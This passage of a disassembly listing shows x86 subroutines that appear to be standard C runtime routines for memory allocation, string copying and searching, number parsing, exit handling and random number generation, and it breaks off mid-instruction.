dword_4DB9DC push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41B4D5 endp ; =============== S U B R O U T I N E ======================================= sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap ; sub_41CFC5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41B510 loc_41B4EE: ; CODE XREF: sub_41B4E7+27j push [esp+arg_0] call sub_41B513 test eax, eax pop ecx jnz short locret_41B512 cmp [esp+arg_4], eax jz short locret_41B512 push [esp+arg_0] call sub_41F312 test eax, eax pop ecx jnz short loc_41B4EE loc_41B510: ; CODE XREF: sub_41B4E7+5j xor eax, eax locret_41B512: ; CODE XREF: sub_41B4E7+13j ; sub_41B4E7+19j retn sub_41B4E7 endp ; =============== S U B R O U T I N E ======================================= sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp arg_0 = dword ptr 4 mov eax, dword_4DCFE8 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B537 cmp esi, dword_4DCFE0 ja short loc_41B569 push esi call sub_41E1CB test eax, eax pop ecx jz short loc_41B569 pop esi retn ; --------------------------------------------------------------------------- loc_41B537: ; CODE XREF: sub_41B513+Dj cmp eax, 2 jnz short loc_41B569 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B54C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B513+2Fj push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B513+37j cmp esi, dword_43C9D4 ja short loc_41B576 mov eax, esi shr eax, 4 push eax call sub_41EC6E test eax, eax pop ecx jnz short loc_41B585 jmp short loc_41B576 ; --------------------------------------------------------------------------- loc_41B569: ; CODE XREF: sub_41B513+15j ; sub_41B513+20j ... test esi, esi jnz short loc_41B570 push 1 pop esi loc_41B570: ; CODE XREF: sub_41B513+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B576: ; CODE XREF: sub_41B513+42j ; sub_41B513+54j push esi push 0 push dword_4DCFE4 nop call near ptr 27A0000h loc_41B585: ; CODE XREF: sub_41B513+52j pop esi retn sub_41B513 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B5E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B5D7 neg ecx and ecx, 3 jz short loc_41B5B9 sub edx, ecx loc_41B5B3: ; CODE XREF: sub_41B590+27j mov [edi], al inc edi dec ecx jnz short loc_41B5B3 loc_41B5B9: ; CODE XREF: sub_41B590+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B5D7 rep stosd test edx, edx jz short loc_41B5DD loc_41B5D7: ; CODE XREF: sub_41B590+18j ; sub_41B590+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B5D7 loc_41B5DD: ; CODE XREF: sub_41B590+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B5E3: ; CODE XREF: sub_41B590+Aj mov eax, [esp+arg_0] retn sub_41B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B5F0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B673 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B614 shr ecx, 2 jnz short loc_41B681 jmp short loc_41B635 ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B5F0+1Bj ; sub_41B5F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B642 test al, al jz short loc_41B64A test esi, 3 jnz short loc_41B614 mov ebx, ecx shr ecx, 2 jnz short loc_41B681 loc_41B630: ; CODE XREF: sub_41B5F0+8Fj and ebx, 3 jz short loc_41B642 loc_41B635: ; CODE XREF: sub_41B5F0+22j ; sub_41B5F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B66E dec ebx jnz short loc_41B635 loc_41B642: ; CODE XREF: sub_41B5F0+2Bj ; sub_41B5F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj test edi, 3 jz short loc_41B664 loc_41B652: ; CODE XREF: sub_41B5F0+72j mov [edi], al inc edi dec ecx jz loc_41B6E6 test edi, 3 jnz short loc_41B652 loc_41B664: ; CODE XREF: sub_41B5F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B6D7 loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj ; sub_41B5F0+F4j mov [edi], al inc edi loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj dec ebx jnz short loc_41B66B pop ebx pop esi loc_41B673: ; CODE XREF: sub_41B5F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B679: ; CODE XREF: sub_41B5F0+A9j ; sub_41B5F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B630 loc_41B681: ; CODE XREF: sub_41B5F0+20j ; sub_41B5F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B679 test dl, dl jz short loc_41B6CB test dh, dh jz short loc_41B6C1 test edx, 0FF0000h jz short loc_41B6B7 test edx, 0FF000000h jnz short loc_41B679 mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj xor edx, edx mov [edi], edx loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j ; sub_41B5F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B6E1 loc_41B6D7: ; CODE XREF: sub_41B5F0+79j xor eax, eax loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B6D9 loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j and ebx, 3 jnz short loc_41B66B loc_41B6E6: ; CODE XREF: sub_41B5F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B5F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B6EE proc near ; CODE XREF: sub_41B779+4p ; sub_4247EC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41B6F6: ; CODE XREF: sub_41B6EE+34j cmp dword_43CBE4, 1 jle short loc_41B70E movzx eax, byte ptr [edi] push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41B71D ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B6EE+Fj movzx eax, byte ptr [edi] mov ecx, off_43C9D8 mov al, [ecx+eax*2] and eax, 8 loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej test eax, eax jz short loc_41B724 inc edi jmp short loc_41B6F6 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B6EE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41B734 cmp esi, 2Bh jnz short loc_41B738 loc_41B734: ; CODE XREF: sub_41B6EE+3Fj movzx esi, byte ptr [edi] inc edi loc_41B738: ; CODE XREF: sub_41B6EE+44j xor ebx, ebx loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj cmp dword_43CBE4, 1 jle short loc_41B74F push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41B75A ; --------------------------------------------------------------------------- loc_41B74F: ; CODE XREF: sub_41B6EE+53j mov eax, off_43C9D8 mov al, [eax+esi*2] and eax, 4 loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj test eax, eax jz short loc_41B76B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41B73A ; --------------------------------------------------------------------------- loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41B774 neg eax loc_41B774: ; CODE XREF: sub_41B6EE+82j pop edi pop esi pop ebp pop ebx retn sub_41B6EE endp ; =============== S U B R O U T I N E ======================================= sub_41B779 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+733p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B6EE pop ecx retn sub_41B779 endp ; --------------------------------------------------------------------------- mov eax, off_43A97C test eax, eax jz short loc_41B78F call eax ; sub_41C748 loc_41B78F: ; CODE XREF: ___:0041B78Bj push offset dword_42902C push offset dword_429018 call sub_41B86C push offset dword_429014 push offset dword_429000 call sub_41B86C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41B7D3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp ; sub_42255C+2276p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41B7D3 add esp, 0Ch retn sub_41B7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p ; sub_41B7C2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DB9A0, edi jnz short loc_41B7F0 push [esp+4+arg_0] call near ptr 271066Fh nop push eax call near ptr 2700D13h nop loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DB99C, edi mov byte_4DB998, bl jnz short loc_41B844 mov eax, dword_4DCFFC test eax, eax jz short loc_41B833 mov ecx, dword_4DCFF8 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41B832 loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj mov eax, [esi] test eax, eax jz short loc_41B827 call eax loc_41B827: ; CODE XREF: sub_41B7D3+50j sub esi, 4 cmp esi, dword_4DCFFC jnb short loc_41B81F loc_41B832: ; CODE XREF: sub_41B7D3+4Aj pop esi loc_41B833: ; CODE XREF: sub_41B7D3+3Cj push offset dword_429038 push offset dword_429030 call sub_41B86C pop ecx pop ecx loc_41B844: ; CODE XREF: sub_41B7D3+33j push offset dword_429044 push offset dword_42903C call sub_41B86C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41B86A push [esp+4+arg_0] mov dword_4DB9A0, edi nop call near ptr 77E75CB5h loc_41B86A: ; CODE XREF: sub_41B7D3+85j pop edi retn sub_41B7D3 endp ; =============== S U B R O U T I N E ======================================= sub_41B86C proc near ; CODE XREF: ___:0041B799p ; ___:0041B7A8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41B871: ; CODE XREF: sub_41B86C+16j cmp esi, [esp+4+arg_4] jnb short loc_41B884 mov eax, [esi] test eax, eax jz short loc_41B87F call eax loc_41B87F: ; CODE XREF: sub_41B86C+Fj add esi, 4 jmp short loc_41B871 ; --------------------------------------------------------------------------- loc_41B884: ; CODE XREF: sub_41B86C+9j pop esi retn sub_41B86C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B886 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B8C6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8C6: ; CODE XREF: sub_41B886+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B8D3: ; CODE XREF: sub_41B886+3Ej mov eax, esi pop esi leave retn sub_41B886 endp ; =============== S U B R O U T I N E ======================================= sub_41B8D8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+31A3p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A960, eax retn sub_41B8D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43A960 imul eax, 343FDh add eax, 269EC3h mov dword_43A960, eax sar eax, 10h and eax, 7FFFh retn sub_41B8E2 endp ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41B97A mov dh, [ecx+1] test dh, dh jz short loc_41B967 loc_41B918: ; CODE XREF: sub_41B900+52j ; sub_41B900+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41B93A test al, al jz short loc_41B934 loc_41B929: ; CODE XREF: sub_41B900+32j mov al, [esi] inc esi loc_41B92C: ; CODE XREF: sub_41B900+3Fj cmp al, dl jz short loc_41B93A test al, al jnz short loc_41B929 loc_41B934: ; CODE XREF: sub_41B900+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B93A: ; CODE XREF: sub_41B900+23j ; sub_41B900+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41B92C lea edi, [esi-1] loc_41B944: ; CODE XREF: sub_41B900+63j mov ah, [ecx+2] test ah, ah jz short loc_41B973 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41B918 mov al, [ecx+3] test al, al jz short loc_41B973 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41B944 jmp short loc_41B918 ; --------------------------------------------------------------------------- loc_41B967: ; CODE XREF: sub_41B900+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41BFB6 ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B900+49j ; sub_41B900+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41B97A: ; CODE XREF: sub_41B900+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41B900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B980 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C73p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B9BF mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B9CC ; --------------------------------------------------------------------------- loc_41B9BF: ; CODE XREF: sub_41B980+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B9CC: ; CODE XREF: sub_41B980+3Dj mov eax, esi pop esi leave retn sub_41B980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+21D2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41AFE0 cmp eax, 1 pop ecx jb short loc_41BA0C cmp byte ptr [ebx+1], 3Ah jnz short loc_41BA0C mov esi, [ebp+arg_4] test esi, esi jz short loc_41BA08 push 2 push ebx push esi call sub_420289 add esp, 0Ch and byte ptr [esi+2], 0 loc_41BA08: ; CODE XREF: sub_41B9D1+25j inc ebx inc ebx jmp short loc_41BA16 ; --------------------------------------------------------------------------- loc_41BA0C: ; CODE XREF: sub_41B9D1+18j ; sub_41B9D1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41BA16 and byte ptr [eax], 0 loc_41BA16: ; CODE XREF: sub_41B9D1+39j ; sub_41B9D1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41BA8E loc_41BA29: ; CODE XREF: sub_41B9D1+87j mov cl, [eax] movzx edx, cl test byte_4DCEC1[edx], 4 jz short loc_41BA3A inc eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA3A: ; CODE XREF: sub_41B9D1+64j cmp cl, 2Fh jz short loc_41BA4E cmp cl, 5Ch jz short loc_41BA4E cmp cl, 2Eh jnz short loc_41BA54 mov [ebp+var_4], eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj ; sub_41B9D1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41BA54: ; CODE XREF: sub_41B9D1+67j ; sub_41B9D1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41BA29 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41BA8E cmp [ebp+arg_8], 0 jz short loc_41BA89 sub edi, ebx cmp edi, esi jb short loc_41BA72 mov edi, esi loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj push edi push ebx push [ebp+arg_8] call sub_420289 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BA89: ; CODE XREF: sub_41B9D1+97j mov ebx, [ebp+arg_4] jmp short loc_41BA98 ; --------------------------------------------------------------------------- loc_41BA8E: ; CODE XREF: sub_41B9D1+56j ; sub_41B9D1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41BA98 and byte ptr [ecx], 0 loc_41BA98: ; CODE XREF: sub_41B9D1+BBj ; sub_41B9D1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41BAEB cmp edi, ebx jb short loc_41BAEB cmp [ebp+arg_C], 0 jz short loc_41BAC8 sub edi, ebx cmp edi, esi jb short loc_41BAB1 mov edi, esi loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj push edi push ebx push [ebp+arg_C] call sub_420289 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41BB13 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41BAD8 mov esi, eax loc_41BAD8: ; CODE XREF: sub_41B9D1+103j push esi push [ebp+var_4] push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41BB13 ; --------------------------------------------------------------------------- loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj ; sub_41B9D1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41BB09 sub eax, ebx cmp eax, esi jnb short loc_41BAFA mov esi, eax loc_41BAFA: ; CODE XREF: sub_41B9D1+125j push esi push ebx push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41BB13 and byte ptr [eax], 0 loc_41BB13: ; CODE XREF: sub_41B9D1+FCj ; sub_41B9D1+118j ... pop edi pop esi pop ebx leave retn sub_41B9D1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BB20 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BB40 loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BB2C loc_41BB40: ; CODE XREF: sub_41BB20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Fp ; sub_401ACD+75AEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41BB63 xor eax, eax jmp short loc_41BB99 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB4F+Ej dec [ebp+arg_4] push esi jz short loc_41BB93 mov esi, [ebp+arg_8] loc_41BB6C: ; CODE XREF: sub_41BB4F+42j dec dword ptr [esi+4] js short loc_41BB7B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41BB82 ; --------------------------------------------------------------------------- loc_41BB7B: ; CODE XREF: sub_41BB4F+20j push esi call sub_41F043 pop ecx loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41BB9D mov [edi], al inc edi cmp al, 0Ah jz short loc_41BB93 dec [ebp+arg_4] jnz short loc_41BB6C loc_41BB93: ; CODE XREF: sub_41BB4F+18j ; sub_41BB4F+3Dj ... and byte ptr [edi], 0 loc_41BB96: ; CODE XREF: sub_41BB4F+55j mov eax, ebx pop esi loc_41BB99: ; CODE XREF: sub_41BB4F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BB9D: ; CODE XREF: sub_41BB4F+36j cmp edi, [ebp+arg_0] jnz short loc_41BB93 xor ebx, ebx jmp short loc_41BB96 sub_41BB4F endp ; =============== S U B R O U T I N E ======================================= sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BBA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep ; sub_41BDC5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41BBD5: ; CODE XREF: sub_41BBBD+46j cmp dword_43CBE4, 1 jle short loc_41BBED movzx eax, bl push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41BBFC ; --------------------------------------------------------------------------- loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj mov ecx, off_43C9D8 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej test eax, eax jz short loc_41BC05 mov bl, [esi] inc esi jmp short loc_41BBD5 ; --------------------------------------------------------------------------- loc_41BC05: ; CODE XREF: sub_41BBBD+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41BC13 or [ebp+arg_C], 2 jmp short loc_41BC18 ; --------------------------------------------------------------------------- loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej cmp bl, 2Bh jnz short loc_41BC1E loc_41BC18: ; CODE XREF: sub_41BBBD+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41BC1E: ; CODE XREF: sub_41BBBD+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41BDB5 cmp eax, 1 jz loc_41BDB5 cmp eax, 24h jg loc_41BDB5 push 10h test eax, eax pop ecx jnz short loc_41BC66 cmp bl, 30h jz short loc_41BC50 mov [ebp+arg_8], 0Ah jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: sub_41BBBD+88j mov al, [esi] cmp al, 78h jz short loc_41BC63 cmp al, 58h jz short loc_41BC63 mov [ebp+arg_8], 8 jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC63: ; CODE XREF: sub_41BBBD+97j ; sub_41BBBD+9Bj mov [ebp+arg_8], ecx loc_41BC66: ; CODE XREF: sub_41BBBD+83j cmp [ebp+arg_8], ecx jnz short loc_41BC82 cmp bl, 30h jnz short loc_41BC82 mov al, [esi] cmp al, 78h jz short loc_41BC7A cmp al, 58h jnz short loc_41BC82 loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41BC82: ; CODE XREF: sub_41BBBD+91j ; sub_41BBBD+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj cmp dword_43CBE4, 1 movzx esi, bl jle short loc_41BCAA push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCB5 ; --------------------------------------------------------------------------- loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj mov eax, off_43C9D8 mov al, [eax+esi*2] and eax, 4 loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj test eax, eax jz short loc_41BCC1 movsx ecx, bl sub ecx, 30h jmp short loc_41BCF3 ; --------------------------------------------------------------------------- loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj cmp dword_43CBE4, 1 jle short loc_41BCD5 push edi push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCE0 ; --------------------------------------------------------------------------- loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj mov eax, off_43C9D8 mov ax, [eax+esi*2] and eax, edi loc_41BCE0: ; CODE XREF: sub_41BBBD+116j test eax, eax jz short loc_41BD2E movsx eax, bl push eax call sub_420313 pop ecx mov ecx, eax sub ecx, 37h loc_41BCF3: ; CODE XREF: sub_41BBBD+102j cmp ecx, [ebp+arg_8] jnb short loc_41BD2E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41BD18 jnz short loc_41BD12 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41BD18 loc_41BD12: ; CODE XREF: sub_41BBBD+147j or [ebp+arg_C], 4 jmp short loc_41BD21 ; --------------------------------------------------------------------------- loc_41BD18: ; CODE XREF: sub_41BBBD+145j ; sub_41BBBD+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41BD21: ; CODE XREF: sub_41BBBD+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41BC92 ; --------------------------------------------------------------------------- loc_41BD2E: ; CODE XREF: sub_41BBBD+125j ; sub_41BBBD+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41BD4C test edx, edx jz short loc_41BD46 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41BD46: ; CODE XREF: sub_41BBBD+181j and [ebp+var_8], 0 jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41BD72 test cl, 1 jnz short loc_41BD99 and ecx, 2 jz short loc_41BD69 cmp [ebp+var_8], 80000000h ja short loc_41BD72 loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j test ecx, ecx jnz short loc_41BD99 cmp [ebp+var_8], eax jbe short loc_41BD99 loc_41BD72: ; CODE XREF: sub_41BBBD+197j ; sub_41BBBD+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DB958, 22h jz short loc_41BD88 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj ; sub_41BBBD+19Cj ... test edx, edx jz short loc_41BDA2 mov eax, [ebp+var_4] mov [edx], eax loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj test byte ptr [ebp+arg_C], 2 jz short 